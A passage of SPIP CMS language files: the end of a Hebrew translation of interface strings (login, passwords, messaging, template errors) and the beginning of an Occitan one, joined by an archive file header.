'info_langue_principale' => 'שפת האתר הראשי',
'info_largeur_vignette' => '@largeur_vignette@ × @hauteur_vignette@ פיקסלים',
'info_les_auteurs_1' => 'על ידי @les_auteurs@',
'info_logo_format_interdit' => 'רק הסימנים בפורמט @formats@ מקובלים',
'info_logo_max_poids' => 'גודל ההלוגואים צריך להיות פחות מ@maxi@ (this file is @actuel@).',
'info_mail_fournisseur' => 'you@isp.com',
'info_message_2' => 'הודעה',
'info_message_supprime' => 'הודעה נמחקה',
'info_mise_en_ligne' => ':תאריך של פרסום ברשת',
'info_modification_parametres_securite' => 'שינוי הפרמטרים של האבטחה',
'info_mois_courant' => ':במשך החודש',
'info_mot_cle_ajoute' => 'מילת המפתח הזאת נוספה ל',
'info_multi_herit' => 'שפת ברירת המחדל',
'info_multi_langues_soulignees' => '<u>לשפות המודגשות</u> ניתן לקבל תרגום לכל הטקסטים של הממשק. אם תבחר/י בשפות אלו, אלמנטים רבים מהאתר הציבורי (תאריכים, טופסים) לא יתורגמו בדרך אוטומטית. לשפות הלא מודגשות, אלמנטים אלו יופיעו בשפה העיקרית של האתר.', # MODIF
'info_multilinguisme' => 'רב לשוני',
'info_nom_non_utilisateurs_connectes' => '.שמך לא נמצא ברשימת המשתמשים המחוברים',
'info_nom_utilisateurs_connectes' => '.שמך נמצא ברשימת המשתמשים המחוברים',
'info_nombre_en_ligne' => ':ברשת עכשיו',
'info_non_resultat' => 'אין תוצאות ל "@cherche_mot@"',
'info_non_utilisation_messagerie' => '.אינך משתמש בהתכתבות הפנימית של אתר זה',
'info_nouveau_message' => 'יש לך הודעה חדשה',
'info_nouveaux_messages' => 'יש לך @total_messages@ הודעות חדשות',
'info_numero_abbreviation' => 'מס’',
'info_obligatoire' => 'מידע זה הינו הכרחי',
'info_pense_bete' => 'תזכיר',
'info_petit_ecran' => 'מסך קטן',
'info_petition_close' => 'עצומה נסגרה',
'info_pixels' => 'פיקסלים',
'info_plusieurs_mots_trouves' => 'מספר מילות מפתח נמצאו "@cherche_mot@":',
'info_portfolio_automatique' => ':תיק ממוכן',
'info_premier_resultat' => '[@debut_limit@ תוצאות ראשונות מתוך @total@]',
'info_premier_resultat_sur' => '[@debut_limit@ תוצאות ראשונות מתוך @total@]',
'info_propose_1' => '[@nom_site_spip@] טעונים: @titre@',
'info_propose_2' => 'מאמר מוצע
-----------------',
'info_propose_3' => 'המאמר "@titre@" נטען לפרסום.',
'info_propose_4' => 'אתה מוזמן לסקור ולתת את חוות דעתך',
'info_propose_5' => ':בפורום המקושר לו. זה זמין בכתובת',
'info_publie_01' => 'המאמר "@titre@" קבל תוקף על ידי @connect_nom@.',
'info_publie_1' => '[@nom_site_spip@] פרסומים: @titre@',
'info_publie_2' => 'מאמר מפורסם
-----------------',
'info_rechercher' => 'חיפוש',
'info_rechercher_02' => ':חיפוש',
'info_remplacer_vignette' => 'החלפת הגפנית שבברירת מחדל ללוגו מותאם :',
'info_sans_titre_2' => 'ללא כותרת',
'info_selectionner_fichier' => 'בחירת קובץ בתיקיה @upload@',
'info_selectionner_fichier_2' => 'בחירת קובץ :',
'info_supprimer_vignette' => 'מחיקת הגפנית',
'info_symbole_bleu' => 'הסימן <b>הכחול</b> מציין <b>תזכיר</b> אחד : כלומר הודעה לשימושך האישי.',
'info_symbole_jaune' => 'הסימן <b>הצהוב</b> מציין <b>מודעה לכל העורכים </b>: כל מנהלן יכול לערוך אותה, וכל העורכים יכולים לראות אותה.',
'info_symbole_vert' => 'הסמל <b> הירוק</b> מסמל <b>הודעות מוחלפות בין משתמשי </b> האתר.',
'info_telecharger_nouveau_logo' => 'העלה לוגו חדש:',
'info_telecharger_ordinateur' => 'העלה מהמחשב שלך:',
'info_tous_resultats_enregistres' => '[כל התוצאות נרשמו]',
'info_tout_afficher' => 'הצגת הכל',
'info_travaux_texte' => 'אתר זה עדיין לא מותקן. נא לחזור מאוחר יותר...',
'info_travaux_titre' => 'האתר בבניה',
'info_trop_resultat' => 'יש יותר מדי תוצאות ל"@cherche_mot@"; נא לזקק את חיפושך.',
'info_utilisation_messagerie_interne' => 'את/ה משתמש/ת את הדואר הפנימי של אתר זה.',
'info_valider_lien' => 'אישור לקישור זה',
'info_verifier_image' => ', נא לבדוק שהתמונות הועברו בצורה נכונה.',
'info_vignette_defaut' => 'ברירת מחדל לגפנית',
'info_vignette_personnalisee' => 'גפנית מותאמת אישית',
'info_visite' => 'ביקור:',
'info_vos_rendez_vous' => 'פגישות עתידיות שלך',
'infos_vos_pense_bete' => 'התזכירים שלך', # MODIF
// L
'lien_afficher_icones_seuls' => 'הצג צלמיות בלבד',
'lien_afficher_texte_icones' => 'הצג צלמיות וטקסט',
'lien_afficher_texte_seul' => 'הצג טקסט בלבד',
'lien_liberer' => 'שחרור',
'lien_liberer_tous' => 'שחרור מאמרים אלו', # MODIF
'lien_nouvea_pense_bete' => 'תזכיר חדש',
'lien_nouveau_message' => 'הודעה חדשה',
'lien_nouvelle_annonce' => 'מודעה חדשה',
'lien_petitions' => 'פטיציה',
'lien_popularite' => 'עממיות: @popularite@%',
'lien_racine_site' => 'שורש האתר',
'lien_reessayer' => 'נסה/י שנית',
'lien_repondre_message' => 'הוספת תגובה להודעה זו',
'lien_supprimer' => 'מחיקה',
'lien_tout_afficher' => 'הצג הכל',
'lien_visite_site' => 'ביקור לאתר זה',
'lien_visites' => '@visites@ ביקורים',
'lien_voir_auteur' => 'הצג מחבר',
'ligne' => 'שורה',
'login' => 'התחברות',
'login_acces_prive' => 'כניסה לאיזור פרטי',
'login_autre_identifiant' => 'חיבור עם שם משתמש אחר',
'login_cookie_accepte' => 'נא לשים את אופציות הדפדפן שלך כדי שהוא יקבל את העוגיות (לפחות עבור אתר זה).',
'login_cookie_oblige' => 'כדי להתחבר, הדפדפן צריך לקבל עוגיות.',
'login_deconnexion_ok' => 'מנותק/ת',
'login_erreur_pass' => 'סיסמה לא נכונה.',
'login_espace_prive' => 'איזור פרטי',
'login_identifiant_inconnu' => 'שם משתמש "@login@" לא ידוע למערכת.',
'login_login' => 'שם משתמש:',
'login_login2' => 'שם משתמש (מזהה לחיבור לאתר):', # MODIF
'login_login_pass_incorrect' => '(שם משתמש או סיסמה לא נכונים).',
'login_motpasseoublie' => 'שכחת את הסיסמה?',
'login_non_securise' => 'לתשומת לבך : טופס זה אינו בטוח.
אם לא ברצונך שהסיסמה שלך תיאחז
במישהו נמצא ברשת, נא להפעיל את ג’בה-סקריפט
בדפדפן שלך וגם',
'login_nouvelle_tentative' => 'נסיון חדש',
'login_par_ici' => 'את/ה נרשם/מת... דרך זו...',
'login_pass2' => 'סיסמה :',
'login_preferez_refuser' => '<b>אם ברצונך לאסר עוגיות </b>, ניתן להתחבר דרך שיטת יבור שונה (פחות בטוחה) :',
'login_recharger' => 'טעון דף זה מחדש',
'login_rester_identifie' => 'זכור את שם משתמש שלי לאורך כמה ימים',
'login_retour_public' => 'חזור לאתר הציבורי',
'login_retour_site' => 'חזור לאתר הציבורי',
'login_retoursitepublic' => 'חזור לאתר הציבורי',
'login_sans_cookiie' => 'חיובר ללא עוגיה',
'login_sinscrire' => 'הרשמה',
'login_test_navigateur' => 'מבחן הדפדפן /חיבור מחדש',
'login_verifiez_navigateur' => '(בכל זאת נא לבדוק שהדפדפן שלך לא זכר את הסיסמה...)',
// M
'masquer_colonne' => 'הסתר עמודה זאת',
'masquer_trad' => 'הסתר את התרגומים',
'module_fichiers_langues' => 'קבצי השפות',
// N
'navigateur_pas_redirige' => 'אם הדפדפן שלך אינו מכוון לקישור, נא להקליק כאן כדי להמשיך.',
'numero' => 'מספר',
// O
'occurence' => 'מקרה',
'onglet_affacer_base' => 'מחק נדבך התונים זה',
'onglet_auteur' => 'המחבר',
'onglet_contenu_site' => 'תוכן האתר',
'onglet_evolution_visite_mod' => 'דרגת הביקורים',
'onglet_fonctions_avances' => 'פונקציות מתקדמות',
'onglet_informations_personnelles' => 'פרטים אישים',
'onglet_interactivite' => 'אינטראקטיביות',
'onglet_messagerie' => 'מערכת דואר',
'onglet_repartition_rubrique' => 'התפלגות לפי המדור',
'onglet_save_restaur_base' => 'גיבוי/החזרת נדבך הנתונים',
'onglet_vider_cache' => 'ריקון המטומן',
// P
'pass_choix_pass' => 'נא לבחור סיסמה בשבילך:',
'pass_erreur' => 'שגיאה',
'pass_erreur_acces_refuse' => '<b>שגיאה:</b> אינך זוכה להיכנס עוד לאתר.',
'pass_erreur_code_inconnu' => '<b>שגיאה :</b> קוד זה לא מתאים לאף אחד מהמבקרים בעלי זכות כינסה לאתר.',
'pass_erreur_non_enregistre' => '<b>שגיאה :</b> הדוא"ל <tt>@email_oubli@</tt> אינו נרשם באתר זה.',
'pass_erreur_non_valide' => '<b>שגיאה :</b> דוא"ל זה <tt>@email_oubli@</tt> אינו מתאים !',
'pass_erreur_probleme_technique' => '<b>שגיאה :</b> בגלל בעיה טכנית, אי אפשר לשלוח את הדוא"ל.',
'pass_espace_prive_bla' => 'האיזור הפרטי באתר זה הינו פתוח
למבקרים הנרשמים בלבד. אחרי שנרשמת
ינתן לך לראות מאמרים שעודם בהכנה
להציע מאמרים חדשים ולהשתתף לכל הפורומים.',
'pass_forum_bla' => 'ביקשת להשתתף לפורום
זכוי למבקרים הנרשמים בלבד.',
'pass_indiquez_cidessous' => 'נא לציין את כתובת הדוא"ל שלך בו
נרשמת בתהליך ההרשמה
תקבל דוא"ל המסביר לך את הפרוצדורה
לקבל שוב את פרטי הכניסה שלך.',
'pass_mail_passcookie' => '(זו הודעה ממוחשבת)
כדי לקבל שוב את פרטי גישתך לאתר
@nom_site_spip@ (@adresse_site@)
נא להקליק בקישור הבא :
@sendcookie@
אז ינתן לך לבחור סיסמה חדשה
ולהתחבר שוב לאתר
',
'pass_mot_oublie' => 'שכחתי את הסיסמה',
'pass_nouveau_enregistre' => 'הסיסמה החדשה שלך נרשמה.',
'pass_nouveau_pass' => 'סיסמה חדשה',
'pass_ok' => 'סיסמה נכונה',
'pass_oubli_mot' => 'שכיחת הסיסמה',
'pass_quitter_fenetre' => 'סגור את החלון',
'pass_rappel_login' => 'לתשומת לבך : שם משתמש שלך הינו « @login@ ».',
'pass_recevoir_mail' => 'תקבל בקרוב דוא"ל שמסביר לך איך לקבל שוב את כניסתך לאתר.',
'pass_retour_public' => 'חזרה לאתר הציבורי',
'pass_rien_a_faire_ici' => 'אין מה לעשות.',
'pass_vousinscrire' => 'הרשמה לאתר',
'precedent' => 'קודם',
'previsualisation' => 'ציפיה מוקדמת',
'previsualiser' => 'ציפיה מוקדמת',
// R
'retour' => 'חזרה',
// S
'spip_conforme_dtd' => 'SPIP מחשיבה את המסמך הזה כמתאים ל DOCTYPE שלה: ',
'squelette' => 'שלד',
'squelette_inclus_ligne' => 'שלד כלול, שורה',
'squelette_ligne' => 'שלד, שורה',
'stats_visites_et_popularite' => '@visites@ ביקורים ; פופולריות : @popularite@',
'suivant' => 'הבא',
// T
'taille_ko' => '@taille@ KB',
'taille_mo' => '@taille@ MB',
'taille_octets' => '@taille@ בייטים',
'texte_actualite_site_1' => 'כשתתרגל/י בממשק, תוכל/י להקליק על «',
'texte_actualite_site_2' => 'ממשק מלא',
'texte_actualite_site_3' => '» כדי לפתוח אפשרויות נוספות.',
'texte_creation_automatique_vignette' => 'יצירת אוטומטית של גפנית לציפיה מוקדמת מופעלת על אתר זה. בהתקנת תמונות בפורמט גדול על ידי טופס זה @gd_formats@, תמונות אלו יולוו בגפניות עם גודל הכי גדול של@taille_preview@ פיקסלים.',
'texte_documents_associes' => 'המסמכים הבאים קשורים למאמר,
אבל לא הוכנסו לו ישירות.
לפי הסדרת הדפים באתר הציבור,
הם יופיעו כמסמכים מצורפים.',
'texte_erreur_mise_niveau_base' => 'שגיאה בבסיס הנתונים במשך עדכון הדרגה.
התמונה <b>@fichier@</b> לא עלתה (article @id_article@).
נא לזכור כתובת זאת ולנסות שוב את עדכון
הדרגה, ולבדוק שהתמונות אכן מופיעות
במאמרים.',
'texte_erreur_visiteur' => 'אתה מנסה להכנס לשטח פרטי עם LOGIN שאינו מאפשר זאת',
'texte_inc_auth_1' => 'את/ה מחובר/ת תחת שם
המשתמש <b>@auth_login@</b>, אבל שם משתמש זה אינו קיים יותר בבסיס הנתונים.
נא לנסות',
'texte_inc_auth_2' => 'להתחבר מחדש',
'texte_inc_auth_3' => ', יותר טוב אחרי שעזבת והתחלת מחדש
את הדפדפן שלך.',
'texte_inc_config' => 'השינוים המבוצעים בדפים אלו משפיעים לא מעט
על הפעלת האתר. מומלץ לא לנגוע בזה בעוד אינך מתרגל
להפעלת המערכת SPIP <br /><br /><b>באופן
כללי, מומלץ מאוד להשאיר
למנהל האתר לטפל בדפים אלו.</b>',
'texte_inc_meta_1' => 'המערכת נתקלה בבעיה במשך כתיבת הקובץ<code>@fichier@</code>. כמנהל האתר, אתה מוזמן',
'texte_inc_meta_2' => 'לבדוק את הזכויות לכתיבה',
'texte_inc_meta_3' => 'בתיקיה הבאה <code>@repertoire@</code>',
'texte_statut_en_cours_redaction' => 'בדרכו לחיבור',
'texte_statut_poubelle' => 'באשפה',
'texte_statut_propose_evaluation' => 'מוצע להבחנה',
'texte_statut_publie' => 'מפורסם',
'texte_statut_refuse' => 'מסורב',
'titre_ajouter_mot_cle' => 'הוספת מילת מפתח:',
'titre_cadre_raccourcis' => 'קיצורי דרך :',
'titre_changer_couleur_interface' => 'שינוי צבע הממשק',
'titre_image_admin_article' => 'אתה יכול לנהל מאמר זה',
'titre_image_administrateur' => 'מנהל',
'titre_image_aide' => 'עזרה על אלמנט זה',
'titre_image_auteur_supprime' => 'מחבר נמחק',
'titre_image_redacteur' => 'כותב ללא כניסה',
'titre_image_redacteur_02' => 'מחבר',
'titre_image_visiteur' => 'מבקר',
'titre_joindre_document' => 'צירוף מסמך',
'titre_mots_cles' => 'מילות מפתח',
'titre_probleme_technique' => 'לתשומת לבך : בעיה טכנית (שרת SQL) מונעת כניסה לחלק זה של האתר. תודה על הבנתך.',
'titre_publier_document' => 'פירסום מסמך במדור זה',
'titre_signatures_attente' => 'חתימה מחכה לאישור',
'titre_signatures_confirmees' => 'חתימה מאושרת',
'titre_statistiques' => 'סטטיסטיקות של האתר',
'titre_titre_document' => 'כותרת המסמך :',
'todo' => 'בקרוב',
'trad_reference' => '(מאמר אסמכתה)', # MODIF
// Z
'zbug_balise_b_aval' => 'טאג B מתחת מאוחר מדי במעגל : ',
'zbug_balise_inexistante' => 'טעות @from@: סימן העריכה @balise@ אינו קיים',
'zbug_balise_sans_argument' => 'טיעון חסר בסימן העריכה @balise@',
'zbug_boucle' => 'מעגל',
'zbug_boucle_recursive_undef' => 'מעגל רקורסיבי לא מוגדר : @nom@',
'zbug_calcul' => 'חישוב',
'zbug_champ_hors_boucle' => 'שדה @champ@ בחוץ למעגל',
'zbug_champ_hors_motif' => 'שדה @champ@ בחוץ למעגל של מוטיב @motif@',
'zbug_code' => 'קוד',
'zbug_critere_inconnu' => 'קרויטריון לא ידוע @critere@',
'zbug_distant_interdit' => 'חיצוני אסור',
'zbug_doublon_table_sans_cle_primaire' => 'כפל על שולחן ללא מפתח ראשוני אטומי',
'zbug_doublon_table_sans_index' => 'כפל על השולחן ללא אינדקס',
'zbug_erreur_boucle_double' => 'BOUCLE@id@: הגדרה כפולה',
'zbug_erreur_boucle_fermant' => 'BOUCLE@id@ : חסר טאג סוגר',
'zbug_erreur_boucle_syntaxe' => 'תחביר המעגל לא נכון',
'zbug_erreur_compilation' => 'טעות קומפילציה',
'zbug_erreur_execution_page' => 'שגיאת ביצוע של הדף',
'zbug_erreur_filtre' => 'שגיאה : מסננת « @filtre@ » לא מוגדרת',
'zbug_erreur_meme_parent' => '{meme_parent} הנו מתאים רק ל מעגלים (FORUMS) או (RUBRIQUES)',
'zbug_erreur_squelette' => 'שגיאה בשלד',
'zbug_hors_compilation' => 'מחוץ לקמפילציה',
'zbug_info_erreur_squelette' => 'שגיאה באתר',
'zbug_inversion_ordre_inexistant' => 'היפוך של סדר שאינו קיים',
'zbug_pagination_sans_critere' => '# עריכת עמודים ללא קריטריונים (עריכת עמודים) או מופעלת במעגל חוזר',
'zbug_parametres_inclus_incorrects' => 'פרמטרים של הכללה לא נכונים : @param@',
'zbug_profile' => 'זמן חישוב : @time@',
'zbug_resultat' => 'תוצאה',
'zbug_serveur_indefini' => 'שרת SQL לא מוגדר',
'zbug_statistiques' => 'הסטטיסטיקות של בקשות SQL מתויגות לפי משך זמן',
'zbug_table_inconnue' => 'SQL טבלה « @table@ » לא ידועה',
'zxml_connus_attributs' => 'תכונות ידועות',
'zxml_de' => 'מן',
'zxml_inconnu_attribut' => 'תכונות לא ידועות',
'zxml_inconnu_balise' => 'סימן עריכה לא ידוע',
'zxml_inconnu_entite' => 'יישות לא ידועה',
'zxml_inconnu_id' => 'זיהוי לא ידוע',
'zxml_mais_de' => 'אולם של',
'zxml_non_conforme' => 'לא מתאים לסיבה',
'zxml_non_fils' => 'אינו בן של',
'zxml_nonvide_balise' => 'סימן עריכה אינו ריק',
'zxml_obligatoire_attribut' => 'תכונה הכרחית אולם חסרה ב',
'zxml_succession_fils_incorrecte' => 'רצף של חוטים לא נכון',
'zxml_survoler' => 'לעלעל על מנת לראות את הנכונים',
'zxml_valeur_attribut' => 'ערך התכונה',
'zxml_vide_balise' => 'סימן עריכה ריק',
'zxml_vu' => 'נראה קודם'
);
?>
ecrire_oc_va.php 0000666 00000147437 15252547432 0007732 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/ecrire_?lang_cible=oc_va
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'aide_non_disponible' => 'Aquela part de l’ajua en linha es pas encara disponibla per aquesta lenga.',
'avis_acces_interdit' => 'Accès proïbit.',
'avis_article_modifie' => 'Atencion, @nom_auteur_modif@ a trabalhat sus aquel article fai @date_diff@ minutas',
'avis_aucun_resultat' => 'Pas ges de resultat.',
'avis_chemin_invalide_1' => 'Lo chamin qu’avètz chausit',
'avis_chemin_invalide_2' => 'sembla pas valid. Volhatz tornar vèrs la pagina anteriora per verificar las informacions fornias.',
'avis_connexion_echec_1' => 'La connexion au servior SQL a mal capitat.', # MODIF
'avis_connexion_echec_2' => 'Tornatz vèrs la pagina anteriora, e verificatz las informacions qu’avètz fornias.',
'avis_connexion_echec_3' => '<b>N.B.</b> Sus ben de serviors, devètz <b>demandar</b> qu’activen vòstre accès vèrs la basa SQL avans de la poer utilizar. Se vos poètz pas connectar, verificatz qu’aiatz ben realizat aquel procediment.', # MODIF
'avis_connexion_ldap_echec_1' => 'La connexion au servior LDAP a mal capitat.',
'avis_connexion_ldap_echec_2' => 'Tornatz a la pagina anteriora, e verificatz las informacions qu’avètz fornias. ',
'avis_connexion_ldap_echec_3' => 'Alternativament, utilizetz pas lo supòrt LDAP per importar d’utilizaires.',
'avis_deplacement_rubrique' => 'Atention! Aquela rubrica conten @contient_breves@ brèvas@scb@: se la desplaçatz, voudretz ben oschar aquela casa de confirmacion.',
'avis_destinataire_obligatoire' => 'Devètz indicar un destinatari avans de mandar aquel messatge.',
'avis_erreur_connexion_mysql' => 'Error de connexion SQL',
'avis_erreur_version_archive' => '<b>Atencion! Lo fichier @archive@ correspònd amb una autra version d’SPIP qu’aquela qu’avètz installaa.</b> Anatz vèrs de dificultats grandassas: risca de destruccion de vòstra basa de donaas, disfoncionaments divèrses dau sit, etc. Validetz pas aquela demanda d’importacion.<p> Per mai d’informacions, veètz
<a href="@spipnet@">
la documentacion d’SPIP</a>.', # MODIF
'avis_espace_interdit' => '<b>Espaci proïbit</b><p>SPIP es ja installat.',
'avis_lecture_noms_bases_1' => 'Lo programa d’installacion a pas pogut legir los noms de las basas de donaas installaas.',
'avis_lecture_noms_bases_2' => 'Siá ges de basa es pas disponibla, siá la foncion que permet d’entierar las basas es estaa desactivaa per de rasons de seguretat (aquò’s lo cas en cò de mai d’un auberjaor).',
'avis_lecture_noms_bases_3' => 'Dins la segonda alternativa, es probable qu’una basa que pòrta vòstre nom de login siá utilizabla:',
'avis_non_acces_message' => 'Poètz pas accedir vèrs aquel messatge.',
'avis_non_acces_page' => 'Poètz pas accedir vèrs aquela pagina.',
'avis_operation_echec' => 'L’operacion a mal capitat.',
'avis_probleme_archive' => 'Problèma de lectura dau fichier @archive@',
'avis_suppression_base' => 'ATENCION, suprimir las donaas es irreversible',
'avis_version_mysql' => 'Vòstra version de SQL (@version_mysql@) permet pas l’autoreparacion de las taulas de la basa.',
// B
'bouton_acces_ldap' => 'Apondre l’accès a LDAP >>',
'bouton_ajouter' => 'Apondre',
'bouton_ajouter_participant' => 'APONDRE UN PARTICIPANT:',
'bouton_annonce' => 'ANONCI',
'bouton_checkbox_envoi_message' => 'possibilitat de mandar un messatge',
'bouton_checkbox_indiquer_site' => 'indicar obligatoriament un sit web',
'bouton_checkbox_signature_unique_email' => 'Mas qu’una signatura per adreiça e-mail',
'bouton_checkbox_signature_unique_site' => 'Mas qu’una signatura per sit web',
'bouton_demande_publication' => 'Demandar la publicacion d’aquest article',
'bouton_effacer_index' => 'Esfaçar los indèxes',
'bouton_effacer_tout' => 'Esfaçar tot',
'bouton_envoi_message_02' => 'MANDAR UN MESSATGE',
'bouton_envoyer_message' => 'Messatge definitiu: mandar',
'bouton_modifier' => 'Modificar',
'bouton_pense_bete' => 'MEMENTO (D’USATGE PERSONAL)',
'bouton_radio_activer_messagerie' => 'Activar la messatjariá intèrna',
'bouton_radio_activer_messagerie_interne' => 'Activar la messatjariá intèrna',
'bouton_radio_activer_petition' => 'Activar la peticion',
'bouton_radio_afficher' => 'Afichar',
'bouton_radio_apparaitre_liste_redacteurs_connectes' => 'Afichar dins la tiera dels redactors connectats',
'bouton_radio_desactiver_messagerie' => 'Desactivar la messatjariá',
'bouton_radio_envoi_annonces_adresse' => 'Mandar los anoncis a l’adreiça:',
'bouton_radio_envoi_liste_nouveautes' => 'Mandar la tiera de las novetats',
'bouton_radio_non_apparaitre_liste_redacteurs_connectes' => 'Pas aparéisser dins la tiera dels redactors',
'bouton_radio_non_envoi_annonces_editoriales' => 'Pas mandar d’anoncis editorials',
'bouton_radio_pas_petition' => 'Ges de peticion',
'bouton_radio_petition_activee' => 'Peticion activaa',
'bouton_radio_supprimer_petition' => 'Suprimir la peticion',
'bouton_redirection' => 'TORNAR DIRIGIR',
'bouton_relancer_installation' => 'Tornar lançar l’installacion',
'bouton_suivant' => 'Seguent',
'bouton_tenter_recuperation' => 'Assajar de reparar',
'bouton_test_proxy' => 'Assajar lo proxy',
'bouton_vider_cache' => 'Voidar l’escondeor',
'bouton_voir_message' => 'Veire aqueu messatge avans de lo validar',
// C
'cache_mode_compresse' => 'Los fichiers de l’escondeor son registrats en mòde comprimit.',
'cache_mode_non_compresse' => 'Los fichiers de l’escondeor son registrats en mòde non comprimit.',
'cache_modifiable_webmestre' => 'Lo webmèstre dau sit pòt modificar aquestes paramètres.',
'calendrier_synchro' => 'S’utilizatz un logicial d’agenda compatible <b>iCal</b> (Apple iCal, Mozilla Calendar, Ximian Evolution, KOrganizer...), lo poètz sincronizar amb l’actualitat dau sit.',
// D
'date_mot_heures' => 'oras',
// E
'email' => 'e-mail',
'email_2' => 'e-mail:',
'entree_adresse_annuaire' => 'Adreiça de l’annuari',
'entree_adresse_email' => 'Vòstra adreiça e-mail',
'entree_base_donnee_1' => 'Adreiça de la basa de donaas',
'entree_base_donnee_2' => '(Sovent, aquela adreiça correspònd a aquela de vòstre sit, de viatges correspònd a la mençon "localhost", de viatges, se laissa voida completament.)',
'entree_biographie' => 'Biografia brèva, en quauques mots.',
'entree_chemin_acces' => '<b>Intrar</b> lo chamin d’accès:',
'entree_cle_pgp' => 'Vòstra clau PGP',
'entree_contenu_rubrique' => '(Contengut de la rubrica en quauques mots.)',
'entree_identifiants_connexion' => 'Vòstres identificants de connexion...',
'entree_informations_connexion_ldap' => 'Volhatz intrar dins aquel formulari las informacions de connexion a vòstre annuari LDAP.
L’administrator dau sistèma o de la ret vos deu poer fornir
aquelas informacions.',
'entree_infos_perso' => 'Cu siatz?',
'entree_interieur_rubrique' => 'Dedins la rubrica:',
'entree_liens_sites' => '<b>Liam ipertèxt</b> (referéncia, sit de vesitar...)',
'entree_login' => 'Vòstre login',
'entree_login_connexion_1' => 'Lo login de connexion',
'entree_login_connexion_2' => '(Correspònd de viatges a vòstre login d’accès vèrs l’FTP; de viatges se laissa voide)',
'entree_login_ldap' => 'Login LDAP inicial',
'entree_mot_passe' => 'Vòstre mot de santa Clara',
'entree_mot_passe_1' => 'Mot de santa Clara per la connexion',
'entree_mot_passe_2' => '(Correspònd de viatges a vòstre mot de santa Clara per l’FTP; de viatges se laissa voide)',
'entree_nom_fichier' => 'Vougatz intrar lo nom dau fichier @texte_compresse@:',
'entree_nom_pseudo' => 'Vòstre nom o vòstre pseudonim',
'entree_nom_pseudo_1' => '(Vòstre nom o vòstre pseudonim)',
'entree_nom_site' => 'Lo nom de vòstre sit',
'entree_nouveau_passe' => 'Mot de santa Clara novèl',
'entree_passe_ldap' => 'Mot de santa Clara',
'entree_port_annuaire' => 'Lo numèro de pòrt de l’annuari',
'entree_signature' => 'Signatura',
'entree_titre_obligatoire' => '<b>Títol</b> [Obligatòri]<br />',
'entree_url' => 'L’adreiça (URL) de vòstre sit',
// I
'ical_info1' => 'Aquela pagina mòstra de metòdes diferents per restar en contacte amb la vida d’aquel sit.',
'ical_info2' => 'Per tenir mai d’informacions sobre aquelas tecnicas, esitetz pas de consultar <a href="@spipnet@">la documentacion d’SPIP</a>.', # MODIF
'ical_info_calendrier' => 'I a dos chalendiers a la vòstra disposicion. Lo primier es un plan dau sit qu’anóncia totes los articles publicats. Lo segond conten los anoncis editoriaus en mai de vòstres darriers messatges privats: vos es reservat gràcias a una clau personala, que la poètz modificar en tot moment en renovant vòstre mot de santa Clara. ',
'ical_methode_http' => 'Telecharjament',
'ical_methode_webcal' => 'Sincronizacion (webcal://)',
'ical_texte_js' => 'Los articles publicats en aqueu sit se pòon afichar aisat, dins totes los sits vòstres, en fasent servir una linha javascript. ',
'ical_texte_prive' => 'Aquel chalendier, d’us estrictament personal, vos informa de l’activitat editoriala privaa d’aquel sit (òbras e rendètz-vos personals, articles e brèvas prepausats...).',
'ical_texte_public' => 'Aquel chalendier vos permet de seguir l’activitat publica d’aquel sit (articles e brèvas publicats).',
'ical_texte_rss' => 'Poètz sindicar las novetats d’aquest sit dins quin legior de fichiers que siá en format XML/RSS (Rich Site Summary). Es pereu lo format que permet a SPIP de legir las novetats publicaas dins d’autres sits en utilizant un format d’eschambi compatible (sits sindicats). ',
'ical_titre_js' => 'Javascript',
'ical_titre_mailing' => 'Lista de corrier',
'ical_titre_rss' => 'Fichiers «backend»',
'icone_activer_cookie' => 'Activar lo cookie de correspondéncia',
'icone_afficher_auteurs' => 'Afichar los autors',
'icone_afficher_visiteurs' => 'Afichar los vesitaires',
'icone_arret_discussion' => 'Quitar aquela discussion',
'icone_calendrier' => 'Chalendier',
'icone_creer_auteur' => 'Crear un autor nòu e l’associar a aquel article',
'icone_creer_mot_cle' => 'Crear un mot clau nòu e lo liar a aquel article',
'icone_creer_rubrique_2' => 'Crear una rubrica nòva',
'icone_envoyer_message' => 'Mandar aquel messatge',
'icone_modifier_article' => 'Modificar aquel article',
'icone_modifier_message' => 'Modificar aquel messatge',
'icone_modifier_rubrique' => 'Modificar aquela rubrica',
'icone_retour' => 'Tornar',
'icone_retour_article' => 'Tornar a l’article',
'icone_supprimer_cookie' => 'Suprimir lo cookie de correspondéncia',
'icone_supprimer_rubrique' => 'Suprimir aquela rubrica',
'icone_supprimer_signature' => 'Suprimir aquela signatura',
'icone_valider_signature' => 'Validar aquela signatura',
'image_administrer_rubrique' => 'Poètz administrar aquela rubrica',
'info_1_article' => '1 article',
'info_1_site' => '1 sit',
'info_activer_cookie' => 'Poètz activar un <b>cookie de correspondéncia</b>; aquò vos permetrà de passar aisat dau sit public au sit privat.',
'info_admin_gere_rubriques' => 'Aquel administrator gerís las rubricas seguentas:',
'info_admin_gere_toutes_rubriques' => 'Aquel administrator gerís <b>totas las rubricas</b>.', # MODIF
'info_administrateur' => 'Administrator',
'info_administrateur_1' => 'Administrator',
'info_administrateur_2' => 'dau sit(<i>d’utilizar amb precaucion</i>)',
'info_administrateur_site_01' => 'Se siatz administrator/tritz dau sit, volhatz',
'info_administrateur_site_02' => 'clicar aquel liam',
'info_administrateurs' => 'Administrators',
'info_administrer_rubrique' => 'Poètz administrar aquela rubrica',
'info_adresse' => 'a l’adreiça:',
'info_adresse_url' => 'Adreiça (URL) dau sit public',
'info_afficher_visites' => 'Afichar las vesitas per:',
'info_aide_en_ligne' => 'Ajua en linha SPIP',
'info_ajout_image' => 'Quand apondètz d’imatges coma estachaments jonches a un article, SPIP pòt crear automaticament per vos de vinhetas (miniaturas) dels imatges inserits. Aquò permet per exemple de crear automaticament una galariá o un pòrtfòlio.',
'info_ajout_participant' => 'Lo participant seguent es apondut:',
'info_ajouter_rubrique' => 'Apondre una autra rubrica d’administrar:',
'info_annonce_nouveautes' => 'Anonci de las novetats',
'info_anterieur' => 'anteriora',
'info_article' => 'article',
'info_article_2' => 'articles',
'info_article_a_paraitre' => 'Los articles pòstdatats per paréisser',
'info_articles_02' => 'articles',
'info_articles_2' => 'Articles',
'info_articles_auteur' => 'Los articles d’aquel autor',
'info_articles_trouves' => 'Articles trobats',
'info_articles_trouves_dans_texte' => 'Articles trobats (dins lo tèxt)',
'info_attente_validation' => 'Vòstres articles en espèra de validacion',
